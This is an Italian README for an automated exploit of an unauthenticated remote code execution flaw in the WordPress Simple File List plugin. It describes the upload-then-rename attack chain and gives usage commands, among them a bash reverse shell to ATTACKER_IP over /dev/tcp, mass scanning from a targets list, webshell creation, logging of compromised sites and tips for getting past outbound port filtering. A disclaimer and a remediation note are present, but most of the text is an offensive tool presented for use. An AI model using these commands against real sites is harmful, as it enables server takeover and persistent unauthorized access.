CVE-2025-34085 — Simple File List di WordPress RCE non autenticato

Un exploit automatizzato per CVE-2025-34085 (duplicato di CVE-2020-36847), una vulnerabilità critica di esecuzione di codice in remoto non autenticata nel plugin WordPress Simple File List versioni ≤ 4.2.2.

Nota: CVE-2025-34085 è stato respinto da MITRE come duplicato di CVE-2020-36847. La vulnerabilità è reale e corretta nella versione 4.2.3. Entrambi gli ID CVE si riferiscono allo stesso problema sottostante.

Riepilogo della vulnerabilità

Come Funziona

1. Upload — Un payload PHP viene caricato travestito da file .png tramite l'endpoint di upload del plugin (ee-upload-engine.php). Il motore di upload convalida le estensioni ma accetta file immagine.

2. Rinomina — La funzionalità di rinomina del plugin (ee-file-engine.php) non impone restrizioni sulle estensioni. L'attaccante rinomina il .png in .php (o .phtml, .php5, .php3).

3. Esecuzione — Il file PHP rinominato è ora accessibile ed eseguibile nella directory uploads in /wp-content/uploads/simple-file-list/, dando all'attaccante l'esecuzione arbitraria di comandi.

Requisiti

pip install requests colorama

Python 3.6+

Utilizzo

Singolo Target

python3 CVE-2025-34085.py -u http://target.com --cmd "id"

Singolo Target con Comando Inline

python3 CVE-2025-34085.py -u http://target.com --cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'" --inline

Scansione di Massa

Crea un file targets.txt con un URL per riga:

http://target1.com
http://target2.com
https://target3.com

python3 CVE-2025-34085.py --cmd "id"

Argomenti

Consiglio: Usa --inline quando hai bisogno di una reverse shell o quando il target ha filtri sulla query string. Senza --inline, l'exploit crea una webshell che accetta comandi tramite ?cmd=.

Output

Gli exploit riusciti vengono registrati in vuln.txt:

http://target.com | http://target.com/wp-content/uploads/simple-file-list/shell.php | uid=33(www-data) gid=33(www-data)

Note OPSEC per OSCP

• L'exploit carica un file PHP su disco — questo lascerà tracce
• La webshell persiste in /wp-content/uploads/simple-file-list/<random>.php
• I caricamenti riusciti vengono registrati localmente in vuln.txt — utile per il tuo report
• Per l'esame, usa --inline con una reverse shell per evitare di lasciare una webshell persistente con ?cmd=
• Se il target blocca le porte in uscita, prova porte comuni consentite (80, 443, 53)

Riferimenti

• NVD — CVE-2025-34085
• NVD — CVE-2020-36847
• Avviso Wordfence
• Modulo Metasploit
• Changelog del Plugin (Patch)
• Exploit-DB #48979
• PoC originale di coiffeur — Exploit-DB #48349

Rimedio

Aggiorna il plugin Simple File List alla versione 4.2.3 o successiva.

Dichiarazione di non responsabilità

Questo strumento è destinato esclusivamente a test di penetrazione autorizzati e scopi educativi. L'accesso non autorizzato a sistemi informatici è illegale. Ottieni sempre la dovuta autorizzazione prima di testare.

Crediti

• Scoperta originale della vulnerabilità: coiffeur
• Script exploit originale: 0xgh057r3c0n, B1ack4sh (Ashwesker)
• Mantenuto da: 0xgunrunner